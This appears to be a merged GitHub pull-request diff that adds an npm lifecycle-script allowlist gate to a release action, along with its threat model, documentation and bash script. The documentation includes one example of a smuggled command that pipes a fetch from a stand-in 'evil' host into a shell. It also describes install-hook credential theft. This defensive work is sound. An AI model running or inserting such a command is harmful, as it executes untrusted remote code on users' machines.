Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -106,6 +106,30 @@ on:
required: false
type: string
default: 'true'
lifecycle-scripts-policy:
description: |
How verify-lifecycle-scripts handles preinstall/install/postinstall
hooks in the published package. One of:
- warn (default): unpermitted hooks are logged but publish continues.
- strict: unpermitted hooks fail the release.
- off: skip the gate entirely.
Install-time hooks run on every consumer's machine when they
`npm install` the package — the attack surface used in the April
2026 Bitwarden CLI compromise. Allow specific hooks via
`allowed-lifecycle-scripts`.
required: false
type: string
default: 'warn'
allowed-lifecycle-scripts:
description: >-
JSON object mapping hook name (preinstall/install/postinstall) to
the exact command string permitted. Anything else warns or fails
depending on `lifecycle-scripts-policy`. Empty map (default) means
no install hooks are allowed. Example:
{"postinstall": "node-gyp rebuild"}
required: false
type: string
default: '{}'
version-strategy:
description: |
How version bumps are validated. One of:
Expand Down Expand Up @@ -255,6 +279,12 @@ jobs:
- name: Verify no secrets in artefacts
run: $ACTION_SRC/steps/verify-secrets.sh

- name: Verify lifecycle scripts
env:
LIFECYCLE_POLICY: ${{ inputs.lifecycle-scripts-policy }}
ALLOWED_LIFECYCLE_SCRIPTS: ${{ inputs.allowed-lifecycle-scripts }}
run: $ACTION_SRC/steps/verify-lifecycle-scripts.sh

- name: Record tarball integrity
id: record
env:
Expand Down
46 changes: 46 additions & 0 deletions THREAT-MODEL.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ of the defences listed below, that change needs explicit justification.
| Race between parallel releases publishing the same version twice | `publish-npm` is idempotent: if the exact version is already on the registry, it exits `0` without re-publishing. |
| Registry tarball substitution between publish and consumer fetch | `record-tarball` packs the artefact once and writes its sha512 (npm integrity format) plus sha256 to a meta file. `publish-npm` uploads that exact tarball — not a re-pack — and on a clean re-run compares the registry's `dist.integrity` to the recorded value: a mismatch fails the workflow loudly. The hashes are also stamped into the GitHub Release body so consumers can `curl | shasum` the registry tarball at any time. |
| Compromised third-party action re-pointed at malicious code via tag mutation (the `tj-actions/changed-files` 2025-03 vector) | `verify-action-pins` walks `.github/workflows/*.yml` in the consumer repo and warns on any `uses: owner/repo@ref` line whose ref is not a 40-char hex SHA. Warn-only by default; `strict-action-pins: true` promotes to fail. |
| Compromised publish credential used to ship a malicious `preinstall` / `install` / `postinstall` hook (the April 2026 `@bitwarden/cli@2026.4.0` / TeamPCP–Checkmarx vector) | `verify-lifecycle-scripts` reads the consumer's `package.json` and flags any install-time hook not matching an explicit `allowed-lifecycle-scripts` allowlist. Warn-only by default; `lifecycle-scripts-policy: strict` promotes to fail. Combined with OIDC trusted publishing (no long-lived `NPM_TOKEN` to exfiltrate), this closes the primary payload mechanism used by that campaign. |
| Non-deterministic build masking a regression in compiled output | The reusable workflow runs **two parallel builds on independent runners**, both packed with normalised mtimes and `SOURCE_DATE_EPOCH` derived from `git log`. The `reproduce` job compares the two sha256s and (under the default `reproducibility-mode: strict`) refuses to publish on mismatch. This catches embedded build timestamps, sorted-by-fs globs, random IDs, and host-path leakage — the common ways non-determinism slips into a JS bundle. Stronger than SLSA provenance: provenance attests one runner built these bytes once; reproduce attests two runners arrive at the same bytes. |

## Threats explicitly NOT addressed
Expand All @@ -55,6 +56,7 @@ of the defences listed below, that change needs explicit justification.
| Supply-chain attack on `gh`, `jq`, `npm`, `awk`, `sed`, `find`, `grep` themselves | Mitigated by using the GitHub-managed runner image, which is SHA-pinned to a runner release, not eliminated. |
| Leaked GitHub Actions OIDC claims reused by a third party | Mitigated by the short OIDC token lifetime (~10 minutes) and the npm registry's trusted-publisher repo/workflow matching, not eliminated. |
| Supply-chain substitution of the `jsr` CLI package at publish time | JSR publish is opt-in (requires `jsr.json` in the consumer repo). `publish-jsr.sh` pins `jsr@${JSR_CLI_VERSION}` by semver, not integrity: a maintainer-account compromise of the `jsr` npm package within npm's 72-hour republish-after-unpublish window could substitute bytes while keeping the version string. Mitigated by the version pin and opt-in posture; not eliminated. Bump `JSR_CLI_VERSION` only after manually verifying the tarball SHA against a known-good release. |
| Compromised third-party action running in a sibling job that can see publish credentials | Out of anvil's enforcement reach. anvil controls the jobs it defines in `release.yml`; a consumer workflow that runs a third-party action (Trivy, KICS, linters, custom scanners) in a separate job of the same run must either not expose `secrets.*` to that job, or not have an `NPM_TOKEN` secret to expose at all. OIDC trusted publishing already removes the primary long-lived target; see the "isolating third-party actions" note under Known limitations. |
| `@v0` (major) floating tag auto-adoption after a compromised release | `self-release.yml` force-advances the `v0` tag on every release so consumers pinned `@v0` get new versions without pin bumps. A single compromised commit that passes anvil's own self-release gates would auto-propagate to every consumer pinned `@v0`. This is the same trust property as `actions/checkout@v4`, `actions/setup-node@v6`, and every other action that offers a floating major tag. Consumers who want a stronger guarantee should pin anvil to a 40-char SHA and set `strict-action-pins: true` in their caller workflow. |

## Trust boundaries
Expand Down Expand Up @@ -188,6 +190,50 @@ selection would pick prepack output instead and the scan could become
bypassable. This is a stable contract today but worth re-checking on
major npm upgrades.

### `verify-lifecycle-scripts` only covers install-time hooks

The gate inspects `preinstall`, `install`, and `postinstall` — the three
hooks npm runs automatically on `npm install <pkg>` for every consumer.
It does **not** inspect `prepare`, `prepack`, `prepublish`, or
`prepublishOnly`: those fire on the publisher's machine at pack/publish
time, not on the consumer, and are already scoped to the trusted publish
job. A malicious `prepack` in a consumer repo would run on anvil's own
runner during `record-tarball.sh` — a separate concern that sits at the
trust boundary between consumer build tooling and the action itself,
covered by the "untrusted consumer build" boundary below.

The gate also does not detect malicious code loaded from the package's
main entry (`require`/`import` side effects that run on first use), nor
code loaded by a native-module binding, nor anything inside a bundled
runtime. Those attacker paths avoid the lifecycle-hook mechanism
entirely; the gate is a targeted block on the *specific* shape used in
the April 2026 Bitwarden compromise, not a general malicious-code
detector. Consumers who want that stronger guarantee need code review
and/or signed commits, which are out of scope.

### Isolating third-party actions from publish credentials

anvil's own `release.yml` jobs do not expose any long-lived secret to
step scripts — OIDC is minted inside the publish job with a ~10-minute
lifetime and `id-token: write` scoped to that job only. The consumer is
responsible for not leaking secrets into *sibling* jobs of the same
workflow run. If a consumer adds a Trivy/KICS/lint job to their release
workflow and sets `env: NPM_TOKEN: ${{ secrets.NPM_TOKEN }}` on it
(defeating the point of OIDC), a compromised third-party action in that
sibling job can still exfiltrate the token and publish out-of-band later.

Mitigations a consumer should apply:

1. **Delete any `NPM_TOKEN` secret.** With OIDC trusted publishing
configured on npm, it is unused; keeping it is the whole attack
surface.
2. **Run third-party scanners in a separate workflow**, not a sibling
job of the release workflow. A scanner triggered on `pull_request`
or `push` never sees the release context's secrets.
3. **Pin every third-party action by 40-char SHA** and enable
`strict-action-pins: true` so `verify-action-pins` fails the release
on any unpinned reference.

### Changelog extraction uses a word-bounded heading match

`changelog-extract` finds the CHANGELOG section by matching any H1/H2/H3
Expand Down
30 changes: 30 additions & 0 deletions action.yml
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,28 @@ inputs:
by name.
required: false
default: 'true'
lifecycle-scripts-policy:
description: |
How verify-lifecycle-scripts handles preinstall/install/postinstall
hooks in the published package. One of:
- warn (default): unpermitted hooks are logged but publish continues.
- strict: unpermitted hooks fail the release.
- off: skip the gate entirely.
Install-time hooks run on every consumer's machine when they
`npm install` the package — the attack surface used in the April
2026 Bitwarden CLI compromise. Allow specific hooks via
`allowed-lifecycle-scripts`.
required: false
default: 'warn'
allowed-lifecycle-scripts:
description: >-
JSON object mapping hook name (preinstall/install/postinstall) to
the exact command string permitted. Anything else warns or fails
depending on `lifecycle-scripts-policy`. Empty map (default) means
no install hooks are allowed. Example:
{"postinstall": "node-gyp rebuild"}
required: false
default: '{}'
version-strategy:
description: |
How version bumps are validated. One of:
Expand Down Expand Up @@ -137,6 +159,14 @@ runs:
PACKAGE_JSON: ${{ inputs.package-json }}
run: ${{ github.action_path }}/steps/verify-secrets.sh

- name: Verify lifecycle scripts
shell: bash
env:
PACKAGE_JSON: ${{ inputs.package-json }}
LIFECYCLE_POLICY: ${{ inputs.lifecycle-scripts-policy }}
ALLOWED_LIFECYCLE_SCRIPTS: ${{ inputs.allowed-lifecycle-scripts }}
run: ${{ github.action_path }}/steps/verify-lifecycle-scripts.sh

- name: Record tarball integrity
shell: bash
env:
Expand Down
82 changes: 82 additions & 0 deletions docs/pre-publish-gates.md
Original file line number Diff line number Diff line change
Expand Up @@ -449,6 +449,88 @@ This gate runs automatically. No configuration required.

---

## Lifecycle-script gate (verify-lifecycle-scripts.sh)

Refuses to publish packages whose `preinstall`, `install`, or
`postinstall` script runs code on every consumer of the package. This is
the payload mechanism used in the April 2026 `@bitwarden/cli@2026.4.0`
compromise: a preinstall hook pointing at `bw1.js` / `bw_setup.js`
executed on every install, stealing GitHub tokens, `.ssh` keys, `.env`
files, and cloud credentials. A version that already shipped through an
anvil pipeline with `lifecycle-scripts-policy: strict` would have been
blocked at this gate.

### How it works

Reads `scripts` from the consumer's `package.json` and compares each of
the three install-time hooks against an explicit allowlist. Anything
not on the allowlist warns (default) or fails the release (strict).

Only install-time hooks (those npm runs automatically for every consumer
of the published package) are inspected. Build-time hooks (`prepare`,
`prepack`, `prepublishOnly`) run on the publisher's machine at pack
time, not on consumers, and are deliberately out of scope for this
gate.

### Configuration

Two inputs:

- `lifecycle-scripts-policy` (default: `warn`): one of `warn`, `strict`,
`off`. Warn logs unpermitted hooks but lets the release proceed.
Strict fails the release. Off skips the gate entirely.
- `allowed-lifecycle-scripts` (default: `{}`): JSON object mapping hook
name to the exact command string permitted. Exact string match only —
substring and prefix matches are intentionally not supported, because
they would let an attacker smuggle extra commands past an allowlisted
entry (e.g. `node-gyp rebuild; curl evil | sh`).

Default behaviour is warn-only so adopting anvil does not break
existing releases of packages that already ship a legitimate
`postinstall`. Promote to strict once the allowlist is populated:

```yaml
uses: forgesworn/anvil/.github/workflows/release.yml@v0
with:
lifecycle-scripts-policy: strict
allowed-lifecycle-scripts: '{"postinstall": "node-gyp rebuild"}'
```

Most pure-JS libraries have no legitimate install hooks at all; the
`{}` default combined with `lifecycle-scripts-policy: strict` is the
correct setting for those, and it is the configuration this gate was
designed for.

### Output

- On success: `ok: no preinstall/install/postinstall hooks declared` or
`ok: all install hooks present are on the allowlist`.
- In warn mode on offending hooks: `warning: preinstall hook set in
package.json: <cmd>` per hook, then a reminder that strict mode
would fail.
- In strict mode on offending hooks: the same warnings, then `error:
lifecycle-scripts-policy=strict: refusing to publish package with
unpermitted install hooks`. Exit 1, release blocked.
- On an allowlisted-hook-with-wrong-command: `warning: postinstall
mismatch: package.json has '<cmd>' but allowlist expects '<expected>'`.

### What it does not catch

- Malicious code loaded from the package's main entry (`require`/
`import` side effects that run on first use).
- Malicious native-module bindings invoked on import.
- Anything inside a bundled runtime shipped with the package.
- Build-time hooks (`prepare`, `prepack`) — the publisher-side
attack surface, covered by the action's own job isolation rather
than by this gate.

The gate is a targeted block on the *specific* shape used in the April
2026 Bitwarden compromise, not a general malicious-code detector. It
pairs with OIDC trusted publishing (which removes the long-lived
`NPM_TOKEN` pivot) to close that campaign's attack chain end-to-end.

---

## Frozen-vector gate (verify-vectors.sh)

An optional gate for libraries with deterministic test vectors
Expand Down
109 changes: 109 additions & 0 deletions steps/verify-lifecycle-scripts.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
#!/usr/bin/env bash
# verify-lifecycle-scripts.sh — refuse to publish packages whose install
# lifecycle scripts would run arbitrary code on every consumer.
#
# npm runs `preinstall`, `install`, and `postinstall` scripts
# automatically when a consumer runs `npm install <pkg>`. A malicious
# script set in one of these hooks lets a compromised publish execute
# code on every consumer machine with no user interaction. This is the
# payload mechanism used in the April 2026 Bitwarden CLI compromise,
# where @bitwarden/cli@2026.4.0 shipped a preinstall hook pointing at
# a credential-stealer loader (bw1.js / bw_setup.js).
#
# The gate reads `scripts` from the consumer's package.json — the same
# object that ships in the published tarball — and compares each of the
# three install-time hooks against an explicit allowlist. Anything not
# on the allowlist warns (default) or fails (strict).
#
# Why not block all three unconditionally: native-module packages
# legitimately use `postinstall` for `node-gyp rebuild` or similar
# build-on-install behaviour. The allowlist lets those packages declare
# intent without disabling the gate.
#
# Policy:
# warn (default) -- log a warning for each unpermitted hook; publish continues
# strict -- fail the release if any unpermitted hook is present
# off -- skip the gate entirely
#
# Allowlist format: JSON object mapping hook name to the exact command
# string permitted. An exact string match is required; a different
# command in the same hook is treated as "not allowlisted". Empty map
# (the default) means "no install hooks allowed".
#
# Example caller configuration:
# lifecycle-scripts-policy: strict
# allowed-lifecycle-scripts: '{"postinstall": "node-gyp rebuild"}'
#
# Env:
# PACKAGE_JSON (default: package.json)
# LIFECYCLE_POLICY (warn|strict|off, default warn)
# ALLOWED_LIFECYCLE_SCRIPTS (JSON object, default "{}")

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# shellcheck source-path=SCRIPTDIR
# shellcheck source=lib.sh
source "${SCRIPT_DIR}/lib.sh"

header "verify-lifecycle-scripts"

policy="${LIFECYCLE_POLICY:-warn}"
case "$policy" in
warn|strict) ;;
off) log "lifecycle-scripts-policy=off — skipping"; ok "skipped"; exit 0 ;;
*) die "lifecycle-scripts-policy must be one of: warn, strict, off (got: '$policy')" ;;
esac

require_cmds jq

pkg="${PACKAGE_JSON:-package.json}"
[[ -f "$pkg" ]] || die "$pkg not found"

allowed_raw="${ALLOWED_LIFECYCLE_SCRIPTS:-}"
[[ -z "$allowed_raw" ]] && allowed_raw='{}'
if ! printf '%s' "$allowed_raw" | jq -e 'type == "object"' >/dev/null 2>&1; then
die "allowed-lifecycle-scripts must be a JSON object (got: $allowed_raw)"
fi

# Hooks npm runs on `npm install <pkg>` for every consumer of the
# published package. Build-time hooks (prepack, prepare, prepublishOnly)
# are deliberately not in this list: those run on the publisher's
# machine at pack/publish time, not on the consumer.
hooks=(preinstall install postinstall)

fail=0
found_any=0

for hook in "${hooks[@]}"; do
cmd="$(jq -r --arg h "$hook" '.scripts[$h] // empty' "$pkg")"
[[ -z "$cmd" ]] && continue
found_any=1

allowed_cmd="$(printf '%s' "$allowed_raw" | jq -r --arg h "$hook" '.[$h] // empty')"

if [[ -n "$allowed_cmd" && "$allowed_cmd" == "$cmd" ]]; then
ok "$hook allowed by allowlist: $cmd"
continue
fi

if [[ -n "$allowed_cmd" ]]; then
warn "$hook mismatch: package.json has '$cmd' but allowlist expects '$allowed_cmd'"
else
warn "$hook hook set in package.json: $cmd"
fi
fail=1
done

if (( found_any == 0 )); then
ok "no preinstall/install/postinstall hooks declared"
exit 0
fi

if (( fail )); then
if [[ "$policy" == "strict" ]]; then
die "lifecycle-scripts-policy=strict: refusing to publish package with unpermitted install hooks"
fi
warn "lifecycle-scripts-policy=warn — publish will proceed; set to 'strict' to fail on unpermitted hooks"
exit 0
fi

ok "all install hooks present are on the allowlist"
Loading